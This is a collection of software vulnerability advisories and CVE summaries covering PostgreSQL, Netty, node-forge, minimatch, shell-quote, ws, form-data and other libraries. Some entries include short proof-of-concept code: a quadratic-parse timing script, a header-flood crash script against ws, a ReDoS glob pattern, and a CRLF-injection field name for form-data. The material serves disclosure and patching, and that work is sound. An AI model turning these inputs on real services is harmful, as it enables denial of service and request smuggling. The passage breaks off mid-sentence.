Missing validation of type of input in PostgreSQL intarray extension selectivity estimator function allows an object creator to execute arbitrary code as the operating system user running the database. Versions before PostgreSQL 18.2, 17.8, 16.12, 15.16, and 14.21 are affected.
Heap buffer overflow in PostgreSQL pgcrypto allows a ciphertext provider to execute arbitrary code as the operating system user running the database. Versions before PostgreSQL 18.2, 17.8, 16.12, 15.16, and 14.21 are affected.
Missing validation of multibyte character length in PostgreSQL text manipulation allows a database user to issue crafted queries that achieve a buffer overrun. That suffices to execute arbitrary code as the operating system user running the database. Versions before PostgreSQL 18.2, 17.8, 16.12, 15.16, and 14.21 are affected.
Integer wraparound in multiple PostgreSQL server features allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds. This may execute arbitrary code as the operating system user running the database. In applications that pass gigabyte-scale user inputs to the relevant database functions, the application input provider may achieve a segmentation fault. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
Symlink following in PostgreSQL pg_basebackup plain format and in pg_rewind allows an origin superuser to overwrite local files, e.g. /var/lib/postgres/.bashrc, that hijack the operating system account. It will remain the case that starting the server after these commands implicitly trusts the origin superuser, due to features like shared_preload_libraries. Hence, the attack has practical implications only if one takes relevant action between these commands and server start, like moving the files to a different VM or snapshotting the VM. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
Use of inherently dangerous function PQfn(..., result_is_int=0, ...) in PostgreSQL libpq lo_export(), lo_read(), lo_lseek64(), and lo_tell64() functions allows the server superuser to overwrite a client stack buffer with an arbitrarily-large response. Like gets(), PQfn(..., result_is_int=0, ...) stores arbitrary-length, server-determined data into a buffer of unspecified size. Because both the \lo_export command in psql and pg_dump call lo_read(), the server superuser can overwrite pg_dump or psql stack memory. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
Stack buffer overflow in PostgreSQL module "refint" allows an unprivileged database user to execute arbitrary code as the operating system user running the database. A distinct attack is possible if the application declares a user-controlled column as a "refint" cascade primary key and facilitates user-controlled updates to that column. In that case, a SQL injection allows a primary key update value provider to execute arbitrary SQL as the database user performing the primary key update. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
SQL injection in PostgreSQL logical replication ALTER SUBSCRIPTION ... REFRESH PUBLICATION allows a subscriber table creator to execute arbitrary SQL with the subscription's publication-side credentials. The attack takes effect at the next REFRESH PUBLICATION. Within major versions 16, 17, and 18, minor versions before PostgreSQL 18.4, 17.10, and 16.14 are affected. Versions before PostgreSQL 16 are unaffected.
Out-of-bounds memory operations in org.lz4:lz4-java 1.8.0 and earlier allow remote attackers to cause denial of service and read adjacent memory via untrusted compressed input. This is fixed in a forked release: at.yawk.lz4:lz4-java version 1.8.1. The original project has been archived: https://github.com/lz4/lz4-java, and Sonatype has added a redirect from org.lz4:lz4-java:1.8.1 to the new group ID.
Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
MinIO Java SDK is a Simple Storage Service (aka S3) client to perform bucket and object operations to any Amazon S3 compatible object storage service. In minio-java versions prior to 8.6.0, XML tag values containing references to system properties or environment variables were automatically substituted with their actual values during processing. This unintended behavior could lead to the exposure of sensitive information, including credentials, file paths, or system configuration details, if such references were present in XML content from untrusted sources. This is fixed in version 8.6.0.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, Realm.Builder treats a Digest challenge that yields no usable nonce as a Basic challenge. A malicious origin or proxy can label a challenge Digest while omitting or emptying the nonce, causing the client to resend the username and password using reversible Basic authentication. Both origin and proxy challenge parsers are affected. This issue is fixed in versions 3.0.13 and 2.16.1.
Hazelcast is a unified real-time data platform combining stream processing with a fast data store. Prior to 5.4.5, 5.5.10, and 5.6.1, missing authorization checks in the IMap Predicates API allow a malicious client with limited privileges to execute arbitrary code on a Hazelcast cluster member. This issue is fixed in versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.
form-data is a library for creating readable multipart/form-data streams. In versions through 4.0.5, the `field` argument to `FormData#append` and the `filename` option are concatenated verbatim into the `Content-Disposition` header without escaping carriage return (CR), line feed (LF), or double-quote (") characters. An application that passes attacker-controlled data as a field name or filename (for example, an API gateway that turns JSON object keys into multipart field names) allows the attacker to terminate the header line and inject additional headers, or to smuggle entire additional multipart parts, into the request the application forwards to a backend. This can let the attacker add or override form fields (e.g. set `is_admin=true`) seen by the downstream parser. This is an instance of CWE-93 (CRLF injection). The fix escapes CR, LF, and `"` as `%0D`, `%0A`, and `%22` in field names and filenames, matching the serialization browsers use per the WHATWG HTML multipart/form-data encoding algorithm. Exploitation requires the consuming application to use untrusted input as a field name or filename; applications that use only fixed/trusted field names are not affected. Fixed in 2.5.6, 3.0.5, and 4.0.6.
shell-quote prior to 1.8.5 finalizes parsed tokens in parse() using Array.prototype.concat as a reduce accumulator, which reallocates and copies the entire growing array on every iteration. As a result parse() runs in O(n^2) time relative to the number of input tokens. An attacker who can supply an attacker-controlled string to any code path that calls parse() (no shell metacharacters are required; plain space-separated words suffice) can block the single-threaded Node.js event loop for an extended period with a small input, resulting in a denial of service. There is no code execution or data disclosure; impact is to availability only. Fixed in 1.8.5.
In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics. When a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer. Data Confidentiality: Messages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic. Data Integrity: Consumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data. This issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and ≤ 4.1.1. Kafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, the RedisArrayAggregator handler permanently leaks pooled direct-memory buffers when a Redis pipeline connection closes before a RESP array aggregate completes. The handler retains child messages in per-handler state (`depths` field) but defines no `channelInactive`, `handlerRemoved`, or `exceptionCaught` method to release them when the pipeline tears down. Because the leaked buffers are slices of `PooledByteBufAllocator` chunks, they prevent those chunks from being returned to the JVM-wide direct-memory pool. Repeated connection churn by any network peer monotonically drains this shared pool, eventually causing allocation failures on all Netty channels in the process. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, the HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested `PP2_TYPE_SSL` TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the `HAProxyMessage` normally. Yet the underlying cumulation buffer (a pooled, potentially direct `ByteBuf` allocated by the channel) remains permanently pinned. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final up to (but not including) 4.2.16.Final, and 4.1.0.Final up to (but not including) 4.1.135, the `HAProxyMessageDecoder` in Netty's `codec-haproxy` module performs protocol version detection by reading the 13th byte as a signed Java `byte` and widening it to `int` without masking; a PROXY protocol v2 binary prefix followed by version byte `0xFF` sign-extends to `-1`, collides with the decoder's need-more-data sentinel, and causes `ByteToMessageDecoder` to accumulate inbound bytes in an unbounded `cumulation` buffer until direct memory is exhausted. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0` and stores the partially constructed `FullHttpRequest` in `messageMap`; when the remote peer sends `RST_STREAM` for that stream or the accumulated content exceeds `maxContentLength`, the decoder removes the entry but does not release the pooled `ByteBuf`, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Immutable.js provides many Persistent Immutable data structures. Prior to 4.3.9 and 5.1.8, List#set, List#setSize, List#setIn, List#updateIn, and the functional set, setIn, and updateIn mishandle an index or size in the range 2 ** 30 to 2 ** 31 in setListBounds in src/List.js, causing an empty List to enter an uncatchable infinite loop, a populated List to allocate without bound until process abort, or setSize to silently wrap large values. This issue is fixed in versions 4.3.9 and 5.1.8.
Immutable.js provides many Persistent Immutable data structures. Prior to 4.3.9 and 5.1.8, Immutable.Map and Immutable.Set keep keys that share the same 32-bit hash in a HashCollisionNode collision bucket that is scanned linearly, allowing an attacker who controls keys inserted into a Map, such as through Immutable.Map(obj), Immutable.fromJS(obj), state.merge(userObject), or mergeDeep, to craft many colliding keys and degrade insertion and lookup to consume disproportionate CPU. This issue is fixed in versions 4.3.9 and 5.1.8.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, the default io.netty.handler.ssl.SniHandler constructors use the pre-handshake ClientHello aggregation path in handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java at io.netty.handler.ssl.SslClientHelloHandler#decode, where handshakeBuffer.clear() and writeBytes() recopy all previously received body bytes for every additional TLS record. An unauthenticated remote peer can advertise a large ClientHello and deliver its body in thousands of tiny records, causing quadratic CPU work on the event loop before the TLS handshake completes and degrading TLS handling for other clients. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
### Summary `shell-quote`'s `parse()` finalizes its token list with a `reduce` that uses `Array.prototype.concat` as the accumulator. Each `prev.concat(arg)` copies the entire growing array, so `parse()` runs in **O(n²)** in the number of tokens. An unauthenticated attacker who can submit a string to any code path that calls `parse()` on it can block the single-threaded Node.js event loop for tens of seconds with a small input — a denial of service. The trigger needs **no shell metacharacters** (plain space-separated words suffice), so input filters that only screen for `;`, `|`, `$`, or backticks do not help. ### Root cause `parse.js` (lines 200–203), in `parseInternal` — this path runs on **every** `parse()` call: ```js }).reduce(function (prev, arg) { // finalize parsed arguments // TODO: replace this whole reduce with a concat return typeof arg === 'undefined' ? prev : prev.concat(arg); }, []); ``` `prev.concat(arg)` allocates a new array and copies all of `prev` on every iteration, so producing an N-token result costs `1 + 2 + … + N = O(N²)` copies. A second `acc.concat(s)` reduce in the `module.exports` wrapper (lines 211–224, reached only when `env` is a function) has the same shape. The maintainer's own `// TODO: replace this whole reduce with a concat` already flags the construct. ### Proof of Concept ```js const { parse } = require('shell-quote'); const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; }; for (const N of [16000, 32000, 64000, 128000]) { console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms'); } ``` Measured on `shell-quote@1.8.4`, Node v24: | input (N tokens) | bytes | `parse()` | ratio vs prev (2× input) | |-----------------:|-------:|----------:|:------------------------:| | 16 000 | 32 KB | 678 ms | — | | 32 000 | 64 KB | 4 169 ms | ×6.2 | | 64 000 | 128 KB | 14 914 ms | ×3.6 | | 128 000 | 256 KB | **57 319 ms** | ×3.8 | Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s; ~256 KB → ~57 s; a few hundred KB more → minutes. <img width="656" height="214" alt="image" src="https://github.com/user-attachments/assets/e8955b0e-0527-45ca-94b7-c3a2d8c0c82e" /> [poc.js](https://github.com/user-attachments/files/29255995/poc.js) ### Impact `parse()` is synchronous on the main thread; while it copies arrays quadratically the entire event loop is blocked and the process serves no other requests. Any service that calls `parse()` on attacker-influenced input (command parsers, chat-ops / bot command handlers, REPLs, build-script / arg-string splitters) can be driven to a sustained DoS with a single small request. No code execution and no data disclosure — availability only. End-to-end confirmation: a minimal HTTP server that calls `parse()` on the request body, hit with **one** `POST` of `'x '.repeat(32000)` (~63 KB), froze for ~4.5 s. An out-of-process probe client issuing harmless `GET /ping` requests (normally ~1 ms) observed **27 consecutive pings stalled by up to 4374 ms** during that single request — i.e. every concurrent client was denied service for the whole parse. Scaling the body to a few hundred KB extends the outage to minutes. This is the same class as several accepted 2026 advisories for quadratic-parser DoS on untrusted input (e.g. markdown-it CVE-2026-48988, js-yaml CVE-2026-53550, python-multipart CVE-2026-53539). It is **distinct** from the known `shell-quote` command-injection issues (CVE-2021-42740, CVE-2016-10541, CVE-2026-9277), which are all in `quote()`, not `parse()`. ### Suggested remediation Replace the O(n²) concat-in-reduce with a linear flatten that **pushes into the accumulator** instead of reallocating and copying it on every iteration. Apply the same shape to the wrapper's `acc.concat(s)` reduce. A defensive input-length cap on `parse()` is a cheap additional stop-gap. > **Maintainer note (edit):** the originally-suggested `Array.prototype.flat()` is > ES2019 / Node 11+, but `shell-quote` declares `engines: node >= 0.4`, so `.flat()` > would silently drop support for older runtimes. The fix instead flattens one-level > array tokens with `forEach`/`push` — and deliberately not `push.apply(...)`, since > spreading a large array into function arguments can exceed the engine's argument > count limit. Output is byte-identical to the current code across strings, `undefined` > holes, one-level array tokens, and `{op}`/`{comment}`/`{op:'glob'}` objects, and > finalizing is now linear (1,024,000 tokens in ~150 ms vs ~57 s for 128,000 before). > Thanks for the clear report and PoC — the analysis and reproduction were spot on. ### Disclosure Found by source audit + wall-clock confirmation against 1.8.4 (and verified the same code is present on `main`). Reported privately here; no public disclosure until a fix is available.
### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e). ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/advisories/GHSA-3h5v-q93c-6h6q - https://www.cve.org/CVERecord?id=CVE-2024-37890 - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount
### Summary `minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### PoC When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`: ``` /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ ``` When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. ### Impact Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - `.gitignore`-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input ---- Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
### Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. ### Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge `asn1.fromDer` function within `forge/lib/asn1.js`. The ASN.1 DER parser implementation (`_fromDer`) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw `RangeError: Maximum call stack size exceeded`, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. ### Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.
The `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]
### Summary CVE-2025-12816 has been reserved by CERT/CC **Description** An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. ### Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). ### Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in `node-forge` are impacted. [lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153) [lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667) [lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328) [lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90) [lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167) [lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363) [lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81) Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.
### Summary Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). ### Details In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk.. The `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache` method only prevents caching if the record is for the root zone (dots == 1). ### Impact DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.
A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics. When a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer. Data Confidentiality: Messages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic. Data Integrity: Consumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data. This issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and ≤ 4.1.1. Kafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.
### Summary Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. ### Details In `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds. According to https://datatracker.ietf.org/doc/html/rfc5452#section-6 ``` Care must be taken to only accept data if it is known that the originator is authoritative for the QNAME or a parent of the QNAME. One very simple way to achieve this is to only accept data if it is part of the domain for which the query was intended. ``` ### Impact DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.
### Impact The RedisArrayAggregator handler permanently leaks pooled direct-memory buffers when a Redis pipeline connection closes before a RESP array aggregate completes. The handler retains child messages in per-handler state (`depths` field) but defines no `channelInactive`, `handlerRemoved`, or `exceptionCaught` method to release them when the pipeline tears down. Because the leaked buffers are slices of `PooledByteBufAllocator` chunks, they prevent those chunks from being returned to the JVM-wide direct-memory pool. Repeated connection churn by any network peer monotonically drains this shared pool, eventually causing allocation failures on all Netty channels in the process.
Uncontrolled Resource Consumption vulnerability in Apache Commons IO. The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. This issue affects Apache Commons IO: from 2.0 before 2.14.0. Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.
In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component.
### Impact The HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested `PP2_TYPE_SSL` TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the `HAProxyMessage` normally. Yet the underlying cumulation buffer (a pooled, potentially direct `ByteBuf` allocated by the channel) remains permanently pinned.
#### Description In minio-java versions prior to 8.6.0, XML tag values containing references to system properties or environment variables were automatically substituted with their actual values during processing. This unintended behavior could lead to the exposure of sensitive information, including credentials, file paths, or system configuration details, if such references were present in XML content from untrusted sources. #### Affected Versions - minio-java < 8.6.0 All applications utilizing affected versions of minio-java for parsing XML with potentially untrusted input are vulnerable. #### Impact This vulnerability poses a high risk of information disclosure. Attackers could craft malicious XML inputs to extract sensitive data from the system's properties or environment variables, potentially compromising security in applications relying on minio-java for object storage operations. #### Patches The issue is resolved in minio-java version 8.6.0 and later. In these versions, automatic substitution of XML tag values with system properties or environment variables has been disabled. Users are strongly advised to upgrade to minio-java 8.6.0 or a newer release to mitigate the vulnerability. #### Workarounds No full workarounds exist without upgrading the library. As interim measures: - Refrain from processing XML data from untrusted or external sources. - Implement input sanitization or validation to detect and remove references to system properties or environment variables in XML content.
## Summary `form-data` builds `multipart/form-data` request bodies. Through v4.0.5, the `field` name passed to `FormData#append` and the `filename` option are concatenated directly into the `Content-Disposition` header with no escaping of CR (`\r`), LF (`\n`), or `"`. An application that uses **untrusted input as a field name or filename** therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend. This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is **conditional**: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected. ## Details In `lib/form_data.js`, `_multiPartHeader` builds the part header as: ```javascript 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || []) ``` and `_getContentDisposition` builds `filename="' + filename + '"'`. Neither escapes control characters, so a `\r\n` in `field`/`filename` ends the header line. The same applies to `"`, which can break out of the quoted parameter. ### Proof of concept ```javascript const FormData = require('form-data'); const form = new FormData(); form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com'); console.log(form.getBuffer().toString()); ``` Before the fix this emits an injected `X-Injected: true` header line. A field name that also includes `--<boundary>` sequences can introduce additional parts (e.g. an extra `name="is_admin"` field), which a downstream parser accepts as legitimate. ## Impact For an application that uses untrusted field names/filenames: - **Field injection / 